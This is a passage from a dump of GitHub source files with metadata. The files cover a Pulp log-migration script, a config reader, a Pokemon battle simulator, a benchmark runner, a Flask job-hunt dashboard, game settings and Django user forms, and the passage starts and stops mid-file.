CoreRepositoryContent.repository_id.in_(\n pulp_repo_ids\n ),\n CoreRepositoryContent.version_removed_id.is_(None),\n )\n .scalar_subquery()\n )\n query = select(CoreContent).where(\n CoreContent.pulp_id.in_(subq),\n CoreContent.pulp_type == \"file.file\",\n )\n repo_href_to_add = (\n new_test_logs_repo.pulp_href\n if repo_type == \"test_log\"\n else new_build_logs_repo.pulp_href\n )\n artifacts = pulp_session.execute(query).scalars().all()\n artifacts_mapping = {\n artifact.pulp_id: artifact for artifact in artifacts\n }\n content_artifacts = pulp_session.execute(\n select(CoreContentArtifact).where(\n CoreContentArtifact.content_id.in_(\n [art.pulp_id for art in artifacts]\n )\n )\n )\n # some artifacts can have the same relative_path\n content_to_add = []\n added_artifacts = []\n for content_artifact in content_artifacts.scalars().all():\n artifact = artifacts_mapping[\n content_artifact.content_id\n ]\n if content_artifact.relative_path in added_artifacts:\n continue\n file_href = artifact.file_href\n artifact_path = content_artifact.relative_path\n if (\n artifact_path.endswith(\".log\")\n and artifact_path in compressed_logs_mapping\n ):\n file_href = compressed_logs_mapping[artifact_path]\n added_artifacts.append(artifact_path)\n content_to_add.append(file_href)\n\n modify_tasks.append(\n pulp.modify_repository(\n repo_href_to_add,\n add=content_to_add,\n )\n )\n delete_tasks.extend(\n [safe_delete(href) for href in repo_hrefs],\n )\n logging.info(\"\\tAdding logs into new repo\")\n await asyncio.gather(*modify_tasks)\n logging.info(\"\\tRemoving old repos\")\n await asyncio.gather(*delete_tasks)\n logging.info(\"\\tRemoving old distros\")\n await asyncio.gather(*delete_distros)\n\n await session.execute(\n delete(Repository).where(\n Repository.id.in_(repo_ids_to_remove),\n )\n )\n await session.commit()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"AlmaLinux/albs-web-server","sub_path":"scripts/move_logs_to_new_repos.py","file_name":"move_logs_to_new_repos.py","file_ext":"py","file_size_in_byte":12637,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"5577850592","text":"\"\"\"\nTime:2019/12/14 0014\n\"\"\"\n\nimport yaml\nimport configparser\n\nfrom scripts.handle_path import YAML_PATH, CONF_PATH\n\n\nclass HandYaml:\n def __init__(self, yaml_path):\n self.yaml_path = yaml_path\n\n def read_yaml(self, section_name, option_name):\n with open(self.yaml_path, encoding='utf-8') as w:\n yaml_data = yaml.full_load(w)\n res_data = yaml_data[section_name][option_name]\n return res_data\n\n def write_yaml(self,json_data):\n with open(self.yaml_path, mode='a', encoding='utf-8') as f:\n yaml.dump(json_data, f, allow_unicode=True)\n\n\nhy = HandYaml(YAML_PATH)\n\n\nclass HandleConf:\n def __init__(self, conf_path):\n self.conf_path = conf_path\n self.conf = configparser.ConfigParser()\n\n def read_conf(self, section_name, option_name):\n conf_read = self.conf.read(self.conf_path, encoding='utf-8')\n conf_data = conf_read[section_name][option_name]\n try:\n para_data = eval(conf_data)\n except Exception as e:\n return conf_data\n else:\n return para_data\n\n def write_conf(self, data_conf):\n for data in data_conf:\n self.conf[data] = data_conf[data]\n with open(self.conf_path, mode='a', encoding='utf-8') as o:\n self.conf.write(o)\n\n\nhc = HandleConf(CONF_PATH)","repo_name":"yhusr/interfacework","sub_path":"scripts/handle_config.py","file_name":"handle_config.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40163196727","text":"import csv\nfrom enum import Enum\nfrom src.ApiToCsv import read_pokemon_data, read_battles_data\nimport pandas as pd\nimport numpy as np\nfrom pathlib import Path\n\nMAX_ID = 151\n\n\nclass PokeTypes(Enum):\n NORMAL = 0\n FIRE = 1\n WATER = 2\n GRASS = 3\n ELECTRIC = 4\n ICE = 5\n FIGHTING = 6\n POISON = 7\n GROUND = 8\n FLYING = 9\n PSYCHIC = 10\n BUG = 11\n ROCK = 12\n GHOST = 13\n DRAGON = 14\n DARK = 15\n STEEL = 16\n FAIRY = 17\n\n\ntype_map = {\n \"normal\": 0,\n \"fire\": 1,\n \"water\": 2,\n \"grass\": 3,\n \"electric\": 4,\n \"ice\": 5,\n \"fighting\": 6,\n \"poison\": 7,\n \"ground\": 8,\n \"flying\": 9,\n \"psychic\": 10,\n \"bug\": 11,\n \"rock\": 12,\n \"ghost\": 13,\n \"dragon\": 14,\n \"dark\": 15,\n \"steel\": 16,\n \"fairy\": 17,\n}\n\n\ndef get_poke_type_multiplier(attacker: str, defender: str) -> float:\n att = type_map.get(attacker)\n defend = type_map.get(defender)\n\n type_matrix = np.array(\n [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0.5, 0, 1, 1, 0.5, 1],\n [1, 0.5, 0.5, 2, 1, 2, 1, 1, 1, 1, 1, 2, 0.5, 1, 0.5, 1, 2, 1],\n [1, 2, 0.5, 0.5, 1, 1, 1, 1, 2, 1, 1, 1, 2, 1, 0.5, 1, 1, 1],\n [1, 0.5, 2, 0.5, 1, 1, 1, 0.5, 2, 0.5, 1, 0.5, 2, 1, 0.5, 1, 0.5, 1],\n [1, 1, 2, 0.5, 0.5, 1, 1, 1, 0, 2, 1, 1, 1, 1, 0.5, 1, 1, 1],\n [1, 0.5, 0.5, 2, 1, 0.5, 1, 1, 2, 2, 1, 1, 1, 1, 2, 1, 0.5, 1],\n [2, 1, 1, 1, 1, 2, 1, 0.5, 1, 0.5, 0.5, 0.5, 2, 0, 1, 2, 2, 0.5],\n [1, 1, 1, 2, 1, 1, 1, 0.5, 0.5, 1, 1, 1, 0.5, 0.5, 1, 1, 0, 2],\n [1, 2, 1, 0.5, 2, 1, 1, 2, 1, 0, 1, 0.5, 2, 1, 1, 1, 2, 1],\n [1, 1, 1, 2, 0.5, 1, 2, 1, 1, 1, 1, 2, 0.5, 1, 1, 1, 0.5, 1],\n [1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 0.5, 1, 1, 1, 1, 0, 0.5, 1],\n [1, 0.5, 1, 2, 1, 1, 0.5, 0.5, 1, 0.5, 2, 1, 1, 0.5, 1, 2, 0.5, 0.5],\n [1, 2, 1, 1, 1, 2, 0.5, 1, 0.5, 2, 1, 2, 1, 1, 1, 1, 0.5, 1],\n [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 2, 1, 0.5, 1, 1],\n [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 0.5, 0],\n [1, 1, 1, 1, 1, 1, 0.5, 1, 1, 1, 2, 1, 1, 2, 1, 0.5, 1, 0.5],\n [1, 0.5, 0.5, 1, 0.5, 2, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 0.5, 2],\n [1, 0.5, 1, 1, 1, 1, 2, 0.5, 1, 1, 1, 1, 1, 1, 2, 2, 0.5, 1]]\n )\n\n mult = type_matrix[att][defend]\n return mult\n\n\ndef pokemons_has_type(poke_type: str):\n return poke_type != \"noType\"\n\n\n # Finds the product of a multiplier of an attack against a defending pokemon\ndef calc_type_multiplier(attacking_type, defending_type_1, defending_type_2):\n if attacking_type != \"noType\":\n attack_type_1 = get_poke_type_multiplier(attacking_type, defending_type_1)\n\n if defending_type_2 != \"noType\":\n attack_type_2 = get_poke_type_multiplier(attacking_type, defending_type_2)\n # If defending pokemon does not have 2 types\n else:\n attack_type_2 = 1\n\n return attack_type_1 * attack_type_2\n # if attacker pokemon does not have 2 types\n return 0\n\n\n # Finds strongest attacking type versus defending pokemon\ndef find_strongest_type(attacking_type_1, attacking_type_2, defending_type_1, defending_type_2):\n attack_type_1 = calc_type_multiplier(attacking_type_1, defending_type_1, defending_type_2)\n attack_type_2 = calc_type_multiplier(attacking_type_2, defending_type_1, defending_type_2)\n\n if attack_type_1 > attack_type_2:\n return attack_type_1\n else:\n return attack_type_2\n\n\ndef battle_pokemon(first: int, second: int):\n df = read_pokemon_data(\"../../data/pokemon.csv\")\n poke_one = df[df[\"Id\"] == first]\n poke_two = df[df[\"Id\"] == second]\n\n # Pokemon stats\n poke_one_id = df[df[\"Id\"] == first].values[:, 0][0]\n poke_two_id = df[df[\"Id\"] == second].values[:, 0][0]\n\n poke_one_stats = poke_one[\"Sum_stats\"].values[0]\n poke_two_stats = poke_two[\"Sum_stats\"].values[0]\n\n # Type multiplier stuff ugly pokemon 1 vs pokemon 2\n poke_one_type_1 = poke_one[\"Type_1\"].values[0]\n poke_one_type_2 = poke_one[\"Type_2\"].values[0]\n\n poke_two_type_1 = poke_two[\"Type_1\"].values[0]\n poke_two_type_2 = poke_two[\"Type_2\"].values[0]\n\n # Pokemon power determined by stats and strongest type versus given pokemon\n poke_one_power = poke_one_stats * find_strongest_type(poke_one_type_1, poke_one_type_2, poke_two_type_1, poke_two_type_2)\n poke_two_power = poke_two_stats * find_strongest_type(poke_two_type_1, poke_two_type_2, poke_one_type_1, poke_one_type_2)\n\n # Battle\n if poke_one_power > poke_two_power:\n winner = poke_one_id\n else:\n winner = poke_two_id\n\n return poke_one_id, poke_two_id, winner\n\n\ndef write_all_battles():\n poke_count = MAX_ID\n header = ['Poke_1', 'Poke_2', 'Winner']\n\n with open(\"../../data/v2/match.csv\", \"w\") as file:\n writer = csv.writer(file)\n writer.writerow(header)\n\n for i in range(poke_count):\n for j in range(poke_count):\n # Ignores itself and\n if i != j:\n # +1 because we are going for Pokemon id and not index in array\n writer.writerow(battle_pokemon(i + 1, j + 1))\n\n\n\ndef calc_stat_diff(poke1, poke2):\n return poke1 - poke2\n\n\ndef did_1_win(winner, first_poke):\n if winner == first_poke:\n return 1\n else:\n return 0\n\n\ndef calc_battles_diff():\n pokemons = read_pokemon_data(\"../../data/pokemon.csv\")\n battle_results = read_battles_data(\"../../data/v2/match.csv\")\n\n df_diff = pd.DataFrame()\n\n header = ['Did_Poke1_Win', 'Hp_diff', 'Attack_diff', 'Defense_diff', 'Sp_Attack_diff', 'Sp_Defense_diff',\n 'Speed_diff']\n\n for index, row in battle_results.iterrows():\n first_pokemon = row[\"Poke_1\"]\n second_pokemon = row[\"Poke_2\"]\n\n winner = row[\"Winner\"]\n\n poke_one = pokemons[pokemons[\"Id\"] == first_pokemon]\n poke_two = pokemons[pokemons[\"Id\"] == second_pokemon]\n\n win = did_1_win(winner, first_pokemon)\n\n hp_diff = calc_stat_diff(poke_one['HP'].values[0], poke_two['HP'].values[0])\n attack_diff = calc_stat_diff(poke_one['Attack'].values[0], poke_two['Attack'].values[0])\n defense_diff = calc_stat_diff(poke_one['Defense'].values[0], poke_two['Defense'].values[0])\n sp_attack_diff = calc_stat_diff(poke_one['Sp_Attack'].values[0], poke_two['Sp_Attack'].values[0])\n sp_defense_diff = calc_stat_diff(poke_one['Sp_Defense'].values[0], poke_two['Sp_Defense'].values[0])\n speed_diff = calc_stat_diff(poke_one['Speed'].values[0], poke_two['Speed'].values[0])\n\n battle_diff = pd.Series([win, hp_diff, attack_diff, defense_diff, sp_attack_diff, sp_defense_diff, speed_diff])\n\n battle_to_concat_diff = pd.DataFrame([battle_diff])\n df_diff = pd.concat([battle_to_concat_diff, df_diff], ignore_index=True)\n\n df_diff.to_csv('battle_data_diff.csv', index=False, header=header)\n\n\ndef calc_battles():\n pokemons = read_pokemon_data(\"../../data/pokemon.csv\")\n battle_results = read_battles_data(Path.cwd().parents[1] / \"data/v2/match.csv\")\n\n header = ['Did_Poke1_Win','Poke_1_Type_1','Poke_1_Type_2', 'Poke_1_HP', 'Poke_1_Attack', 'Poke_1_Defense', 'Poke_1_Sp_Attack', 'Poke_1_Sp_Defense',\n 'Poke_1_Speed','Poke_2_Type_1','Poke_2_Type_2', 'Poke_2_HP', 'Poke_2_Attack', 'Poke_2_Defense', 'Poke_2_Sp_Attack', 'Poke_2_Sp_Defense',\n 'Poke_2_Speed']\n\n df = pd.DataFrame()\n\n for index, row in battle_results.iterrows():\n first_pokemon = row[\"Poke_1\"]\n second_pokemon = row[\"Poke_2\"]\n\n winner = row[\"Winner\"]\n\n poke_one = pokemons[pokemons[\"Id\"] == first_pokemon]\n poke_two = pokemons[pokemons[\"Id\"] == second_pokemon]\n\n win = did_1_win(winner, first_pokemon)\n\n pokemon_battle_info = pd.Series(\n [win,poke_one['Type_1'].values[0],poke_one['Type_2'].values[0], poke_one['HP'].values[0], poke_one['Attack'].values[0], poke_one['Defense'].values[0],\n poke_one['Sp_Attack'].values[0], poke_one['Sp_Defense'].values[0], poke_one['Speed'].values[0],poke_two['Type_1'].values[0],poke_two['Type_2'].values[0],\n poke_two['HP'].values[0], poke_two['Attack'].values[0], poke_two['Defense'].values[0],\n poke_two['Sp_Attack'].values[0], poke_two['Sp_Defense'].values[0], poke_two['Speed'].values[0]])\n battle_to_concat = pd.DataFrame([pokemon_battle_info])\n df = pd.concat([battle_to_concat, df], ignore_index=True)\n\n df.to_csv(Path.cwd().parents[1] / 'data/v2/battle_data.csv', index=False, header=header)\n\n\nif __name__ == \"__main__\":\n\n print(battle_pokemon(103, 9))\n print(battle_pokemon(82, 150))\n print(battle_pokemon(76, 71))\n print(battle_pokemon(76, 25))\n write_all_battles()\n calc_battles()\n","repo_name":"Weinell/dat4_poke_science","sub_path":"src/v2/poke_battle.py","file_name":"poke_battle.py","file_ext":"py","file_size_in_byte":8755,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"33886576837","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule for benchmarking.\n\"\"\"\n\nimport datetime\nimport importlib\nimport inspect\nimport logging\nfrom pathlib import Path\nimport sys\nimport tempfile\nfrom typing import List, Optional\n\nimport pandas as pd\n\n# Add path so the benchmark packages are found\nsys.path.insert(0, str(Path(__file__).resolve().parent))\nimport reporter\n\n################################################################################\n# Some init\n################################################################################\n\nlogger = logging.getLogger(__name__)\n\n################################################################################\n# The real work\n################################################################################\n\n\nclass RunResult:\n \"\"\"The result of a benchmark run.\"\"\"\n\n def __init__(\n self,\n package: str,\n package_version: str,\n operation: str,\n operation_descr: str,\n secs_taken: float,\n run_details: Optional[dict] = None,\n ):\n \"\"\"\n Constructor for a RunResult.\n\n Args:\n package (str): Package being benchmarked.\n package_version (str): Version of the package.\n operation (str): Operation name.\n operation_descr (str): Description of the operation.\n secs_taken (float): Seconds the operation took.\n run_details (dict, optional): (Important) details of this specific\n run with impact on performance. Eg. # CPU's used,...\n \"\"\"\n self.run_datetime = datetime.datetime.now()\n self.package = package\n self.package_version = package_version\n self.operation = operation\n self.operation_descr = operation_descr\n self.secs_taken = secs_taken\n self.run_details = run_details\n\n def __repr__(self):\n return f\"{self.__class__}({self.__dict__})\"\n\n\ndef run_benchmarks(\n benchmarks_subdir: str = \"benchmarks\",\n results_subdir: str = \"results\",\n results_filename: str = \"benchmark_results.csv\",\n modules: Optional[List[str]] = None,\n functions: Optional[List[str]] = None,\n):\n\n # Init logging\n logging.basicConfig(\n format=\"%(asctime)s.%(msecs)03d|%(levelname)s|%(name)s|%(message)s\",\n datefmt=\"%H:%M:%S\",\n level=logging.INFO,\n )\n\n # Discover and run all benchmark implementations\n tmp_dir = Path(tempfile.gettempdir()) / \"geobenchmark\"\n logger.info(f\"tmpdir: {tmp_dir}\")\n tmp_dir.mkdir(parents=True, exist_ok=True)\n\n benchmarks_dir = Path(__file__).parent / benchmarks_subdir\n results = []\n for file in benchmarks_dir.glob(\"benchmarks_*.py\"):\n module_name = file.stem\n if (not module_name.startswith(\"_\")) and (module_name not in globals()):\n if modules is not None and module_name not in modules:\n # Benchmark whitelist specified, and this one isn't in it\n logger.info(\n f\"skip module {module_name}: not in modules: {modules}\"\n )\n continue\n\n benchmark_implementation = importlib.import_module(\n f\"{benchmarks_subdir}.{module_name}\", __package__\n )\n\n # Run the functions in this benchmark\n available_functions = inspect.getmembers(\n benchmark_implementation, inspect.isfunction\n )\n for function_name, function in available_functions:\n if function_name.startswith(\"_\"):\n continue\n if functions is not None and function_name not in functions:\n # Function whitelist specified, and this one isn't in it\n logger.info(\n f\"skip function {function_name}: not in functions: {functions}\"\n )\n continue\n\n # Run the benchmark function\n logger.info(f\"{benchmarks_subdir}.{module_name}.{function_name} start\")\n function_results = function(tmp_dir=tmp_dir)\n if isinstance(function_results, List) is False:\n function_results = [function_results]\n for function_result in function_results:\n if isinstance(function_result, RunResult) is True:\n logger.info(\n f\"{benchmarks_subdir}.{module_name}.{function_name} \"\n f\"ready in {function_result.secs_taken:.2f} s\"\n )\n results.append(function_result)\n else:\n logger.warning(\n f\"{benchmarks_subdir}.{module_name}.{function_name} \"\n \"ignored: instead of a RunResult it returned \"\n f\"{function_result}\"\n )\n\n # Add results to csv file\n if len(results) > 0:\n results_dir = Path(__file__).resolve().parent / results_subdir\n results_dir.mkdir(parents=True, exist_ok=True)\n results_path = results_dir / results_filename\n results_dictlist = [vars(result) for result in results]\n results_df = pd.DataFrame(results_dictlist)\n if not results_path.exists():\n results_df.to_csv(results_path, index=False)\n else:\n results_df.to_csv(results_path, index=False, mode=\"a\", header=False)\n\n # Generate reports\n reporter.generate_reports(results_path, output_dir=results_dir)\n\n\nif __name__ == \"__main__\":\n run_benchmarks()\n","repo_name":"geofileops/geobenchmark","sub_path":"benchmarker.py","file_name":"benchmarker.py","file_ext":"py","file_size_in_byte":5558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72798919822","text":"from flask import Flask, render_template, session, flash\nfrom datetime import datetime, date, time\nfrom jhmanager.service.cleanup_files.cleanup_datetime_display import past_dated\nfrom jhmanager.service.cleanup_files.cleanup_job_offer_fields import cleanup_job_offer\nfrom jhmanager.service.cleanup_files.cleanup_interview_fields import cleanup_interview_fields\nfrom jhmanager.service.cleanup_files.cleanup_datetime_display import present_dated\nfrom jhmanager.service.cleanup_files.cleanup_app_fields import cleanup_application_fields\nfrom jhmanager.service.cleanup_files.cleanup_general_fields import get_count\n\n\ndef get_users_stats(user_id, interviewsRepo, applicationsRepo, companyRepo, jobOffersRepo):\n applications = applicationsRepo.getAllApplicationsByUserID(user_id)\n interviews = interviewsRepo.getInterviewsByUserID(user_id)\n job_offers = jobOffersRepo.getJobOffersByUserId(user_id)\n \n users_stats = {\n \"application_count\": None, \n \"interviews_count\": None, \n \"job_offers_count\": None,\n \"all_tables_empty\": False,\n }\n\n if not applications and not interviews and not job_offers:\n users_stats[\"all_tables_empty\"] = True\n return users_stats\n\n app_count = get_count(applications)\n if app_count >= 1:\n users_stats[\"application_count\"] = app_count\n\n interview_count = get_count(interviews)\n if interview_count >= 1:\n users_stats[\"interviews_count\"] = interview_count\n\n job_offers_count = get_count(job_offers)\n if job_offers_count >= 1:\n users_stats[\"job_offers_count\"] = job_offers_count\n\n return users_stats\n \n\ndef display_job_offers(user_id, jobOffersRepo, companyRepo):\n job_offers = jobOffersRepo.getJobOffersByUserId(user_id)\n\n job_offer_details = {\n \"empty_table\": True,\n \"fields\": None\n }\n offer_count = 0\n\n if not job_offers:\n return job_offer_details\n\n job_offer_details[\"fields\"] = {}\n job_offer_details[\"empty_table\"] = False\n\n for offer in job_offers: \n offer_count += 1\n job_offer_id = offer.job_offer_id\n company = companyRepo.getCompanyById(offer.company_id)\n application_id = offer.application_id\n entry_date_obj = datetime.strptime(offer.entry_date, \"%Y-%m-%d\")\n present_dated_offer = present_dated(entry_date_obj)\n\n job_offer_details[\"fields\"][offer_count] = {\n \"job_offer_id\": job_offer_id,\n \"starting_date\": offer.starting_date, \n \"company_name\": company.name,\n \"job_role\": offer.job_role, \n \"offer_response\": offer.offer_response,\n \"offer_accepted\": False,\n \"salary_offered\": offer.salary_offered, \n \"perks_offered\": offer.perks_offered,\n \"present_dated_offer\": present_dated_offer,\n \"view_offer\": '/applications/{}/job_offers/{}'.format(application_id, job_offer_id), \n }\n cleanup_job_offer(job_offer_details, offer_count)\n \n return job_offer_details\n\n\ndef display_upcoming_interviews(user_id, interviewsRepo, applicationsRepo, companyRepo):\n all_interviews = interviewsRepo.getInterviewsByUserID(user_id)\n current_date = datetime.now().date()\n\n upcoming_interviews = {\n \"empty_table\": True, \n \"fields\": {}\n }\n\n interviews_list = {}\n if all_interviews: \n for interview in all_interviews:\n interview_id = interview.interview_id\n application = applicationsRepo.getApplicationByID(interview.application_id)\n company = companyRepo.getCompanyById(application.company_id)\n interview_date = interview.interview_date\n interview_time = interview.interview_time\n past_dated_interview = past_dated(interview.interview_date, interview.interview_time)\n other_medium = interview.other_medium\n\n if not past_dated_interview:\n upcoming_interviews[\"empty_table\"] = False \n upcoming_interviews[\"fields\"][interview_id] = {\n \"date\": interview_date, \n \"time\": interview_time,\n \"company_name\": company.name,\n \"location\": interview.location,\n \"status\": interview.status,\n \"interview_type\": interview.interview_type,\n \"interview_medium\": interview.medium, \n \"contact_number\": interview.contact_number,\n \"interviewers\": interview.interviewer_names,\n \"job_role\": application.job_role,\n \"interview_today\": False,\n \"view_interview\": '/applications/{}/interview/{}'.format(application.app_id, interview_id), \n }\n cleanup_interview_fields(upcoming_interviews, interview_id, other_medium)\n\n return upcoming_interviews\n\n\ndef display_today_interviews(user_id, applicationsRepo, interviewsRepo, companyRepo):\n interviews = interviewsRepo.getInterviewsByUserID(user_id)\n\n todays_interviews = {\n \"empty_table\": True, \n \"fields\": {}\n }\n\n if not interviews:\n return todays_interviews\n\n for interview in interviews:\n interview_id = interview.interview_id\n application = applicationsRepo.getApplicationByID(interview.application_id)\n company = companyRepo.getCompanyById(application.company_id)\n interview_date = interview.interview_date\n present_day_interview = present_dated(interview_date)\n\n if not present_day_interview:\n continue\n\n todays_interviews[\"empty_table\"] = False \n other_medium = interview.other_medium\n todays_interviews[\"fields\"][interview_id] = {\n \"date\": interview_date, \n \"time\": interview.interview_time,\n \"company_name\": company.name,\n \"location\": interview.location,\n \"status\": interview.status,\n \"interview_type\": interview.interview_type,\n \"interview_medium\": interview.medium, \n \"contact_number\": interview.contact_number,\n \"interviewers\": interview.interviewer_names,\n \"job_role\": application.job_role,\n \"interview_today\": False,\n \"view_interview\": '/applications/{}/interview/{}'.format(application.app_id, interview_id), \n }\n cleanup_interview_fields(todays_interviews, interview_id, other_medium)\n\n return todays_interviews\n\ndef display_applications_added_today(user_id, current_date, applicationsRepo, companyRepo):\n applications = applicationsRepo.getAllApplicationsByUserID(user_id)\n\n todays_applications = {\n \"empty_table\": True, \n \"fields\": {}\n }\n\n if not applications:\n return todays_applications\n\n for application in applications:\n application_id = application.app_id\n app_datetime = datetime.strptime(application.app_date, \"%Y-%m-%d\") \n app_date = app_datetime.date()\n present_date = present_dated(app_date)\n company = companyRepo.getCompanyById(application.company_id)\n\n if not present_date: \n continue\n\n todays_applications[\"empty_table\"] = False\n todays_applications[\"fields\"][application_id] = {\n \"company_name\": company.name,\n \"app_date\": application.app_date,\n \"job_role\": application.job_role,\n \"emp_type\": application.employment_type,\n \"salary\": application.salary,\n \"presentation_str\": None,\n \"interview_stage\": application.interview_stage,\n \"view_application\": '/applications/{}'.format(application_id)\n }\n cleanup_application_fields(todays_applications, application_id)\n\n return todays_applications\n\n\n# This function will check if all the tables, to be presented at the top of the dashboard, are empty:\n# (This would be true for a new user)\ndef check_if_all_tables_empty(todays_interviews, job_offer_details, upcoming_interviews, applications_added_today):\n if not todays_interviews and not job_offer_details and not upcoming_interviews and not applications_added_today: \n return True\n\n return False\n\n\ndef create_dashboard_content(user_id, applicationsRepo, interviewsRepo, userRepo, companyRepo, jobOffersRepo):\n #1: Let's grab today's date as this will help us when we're grabbing interviews & applications for the current date:\n current_date = current_date = datetime.now().date()\n date_format = \"%Y-%m-%d\"\n date_str = current_date.strftime(date_format)\n\n job_offer_details = display_job_offers(user_id, jobOffersRepo, companyRepo)\n upcoming_interviews = display_upcoming_interviews(user_id, interviewsRepo, applicationsRepo, companyRepo)\n\n # Now to grab the current-day's information we'll be displaying at the top of the dashboard:\n applications_added_today = display_applications_added_today(user_id, current_date, applicationsRepo, companyRepo)\n\n # Lets grab any interviews that the user has today:\n todays_interviews = display_today_interviews(user_id, applicationsRepo, interviewsRepo, companyRepo)\n\n # Now to gather the user's overall/total stats so far:\n user_stats = get_users_stats(user_id, interviewsRepo, applicationsRepo, companyRepo, jobOffersRepo)\n\n all_tables_empty = check_if_all_tables_empty(todays_interviews, job_offer_details, upcoming_interviews, applications_added_today)\n\n message = \"All good!\"\n\n display = {\n \"applications_added_today\": applications_added_today,\n \"todays_interviews\": todays_interviews, \n \"message\": message,\n \"upcoming_interviews\": upcoming_interviews,\n \"job_offer_details\": job_offer_details,\n \"users_stats\": user_stats,\n \"add_application_url\": '/add_job_application',\n \"all_tables_empty\": all_tables_empty,\n }\n\n return render_template(\"dashboard.html\", display=display)","repo_name":"CardinisCode/jobhuntmanager","sub_path":"jhmanager/service/display_dashboard_content.py","file_name":"display_dashboard_content.py","file_ext":"py","file_size_in_byte":9889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3268472136","text":"# Kогда в нашу игру добавляется новая функциональность, также в нее\n# обычно добавляются новые настройки \n# Этот модуль содержит класс с именем Settings для хранения всех настроек. \n# Такое решение позволит передавать один объект вместо множества отдельных настроек. \n# Jно упрощает вызовы функций и упрощает изменение внешнего вида игры с ростом проекта. \n# Чтобы внести изменения в игру, достаточно будет изменить некоторые значения в settings.py \n# вместо того, чтобы иска��ь разные настройки в файлах.\n\nclass Settings():\n\t\"\"\"Класс для хранения всех настроек игры Alien Invasion.\"\"\"\n\t\n\tdef __init__(self):\n\t\t\"\"\"Инициализирует статические настройки игры.\"\"\"\n\t\n\t\t# Параметры экрана\n\t\tself.screen_width = 1600\n\t\tself.screen_height = 800\n\t\tself.bg_color = (117, 187, 253)\n\t\t\n\t\t# Настройки корабля\n\t\tself.ship_limit = 3\n\t\t\n\t\t# Параметры пули\n\t\tself.bullet_width = 3\n\t\tself.bullet_height = 15\n\t\tself.bullet_color = 60, 60, 60\n\t\tself.bullets_allowed = 5\n\n\t\t# Настройки пришельцев\n\t\tself.fleet_drop_speed = 10\n\n\t\t# Темп ускорения игры\n\t\tself.speedup_scale = 1.1\n\t\t\n\t\t# Темп роста стоимости пришельцев\n\t\tself.score_scale = 1.5\n\t\tself.initialize_dynamic_settings()\n\n\tdef initialize_dynamic_settings(self):\n\t\t\"\"\"Инициализирует настройки, изменяющиеся в ходе игры.\"\"\"\n\t\tself.ship_speed_factor = 1.5\n\t\tself.bullet_speed_factor = 3\n\t\tself.alien_speed_factor = 1\n\t\tself.fleet_direction = 1\t\t\t\t# fleet_direction = 1 обозначает движение вправо; а -1 - влево\n\t\t\n\t\t# Подсчет очков\n\t\tself.alien_points = 50\n\t\t\n\tdef increase_speed(self):\n\t\t\"\"\"Увеличивает настройки скорости и стоимость пришельцев.\"\"\"\n\t\tself.ship_speed_factor *= self.speedup_scale\n\t\tself.bullet_speed_factor *= self.speedup_scale\n\t\tself.alien_speed_factor *= self.speedup_scale\n\t\tself.alien_points = int(self.alien_points * self.score_scale)\n\t\t\n","repo_name":"Me1hior/Space_Invaders","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36527196503","text":"from django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django import forms\nfrom .models import UserProfile\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Submit\n\n# link to info: http://code.techandstartup.com/django/registration/\n# The custom User Registration Form inherits from Django's UserCreationFrom\nclass UserRegisterForm(UserCreationForm):\n email = forms.EmailField(required=True)\n\n class Meta:\n model = User\n fields = [\n 'username',\n 'email',\n 'password1',\n 'password2'\n ]\n\n def save(self, commit=True): # commit means save data to the database\n # create a user from this registration form\n user = super(UserRegisterForm, self).save(commit=False) # False here means don't save User yet\n\n # cleaned data makes sure that data being passed in is valid enough to be stored in the database\n user.email = self.cleaned_data['email']\n user.username = self.cleaned_data['username']\n\n if commit:\n user.save() # runs sql on the database to store in the database\n return user\n\n\nclass UserProfileForm(forms.ModelForm):\n\n def eighteen(self):\n max_year = 19\n\n return max_year\n\n def __init__(self, *args, **kwargs):\n super(UserProfileForm, self).__init__(*args, **kwargs)\n self.fields['first_name'].widget = forms.TextInput()\n self.fields['last_name'].widget = forms.TextInput()\n self.fields['address_city'].widget = forms.TextInput()\n self.fields['bio'].widget = forms.Textarea()\n self.fields['goal'].widget = forms.Textarea()\n self.fields['date_of_birth'].widget = forms.SelectDateWidget(years=range(1970,1999), attrs=({'style':'width:20%; height:33%; display: inline-block;'}))\n self.fields['goal'].widget = forms.Textarea()\n self.helper = FormHelper(self)\n self.helper.layout = Layout(\n Div(\n Div('last_name', css_class=\"col-md-4\"),\n Div('first_name', css_class=\"col-md-4\"),\n css_class='row'\n ),\n Div(\n Div('address_city', css_class=\"col-md-3\"),\n Div('address_state', css_class=\"col-md-3\"),\n css_class='row'\n ),\n Div(\n Div('height', css_class=\"col-md-2\"),\n Div('weight', css_class=\"col-md-2\"),\n Div('gender', css_class=\"col-md-2\"),\n css_class='row'\n ),\n Div(\n Div('date_of_birth', css_class=\"col-md-8\"),\n css_class='row'\n ),\n Div(\n Div('image_url', css_class=\"col-md-10\"),\n css_class='row'\n ),\n Div(\n Div('bio', css_class=\"col-md-6\"),\n css_class='row'\n ),\n Div(\n Div('goal', css_class=\"col-md-6\"),\n css_class='row'\n ),\n Div(\n Div('activities', css_class=\"col-md-6\"),\n css_class='row'\n ),\n Submit('Update', 'Update', css_class='btn btn-primary\"'),\n )\n\n class Meta:\n model = UserProfile\n\n fields = ['first_name', 'last_name','address_city', 'address_state',\n 'date_of_birth', 'gender',\n 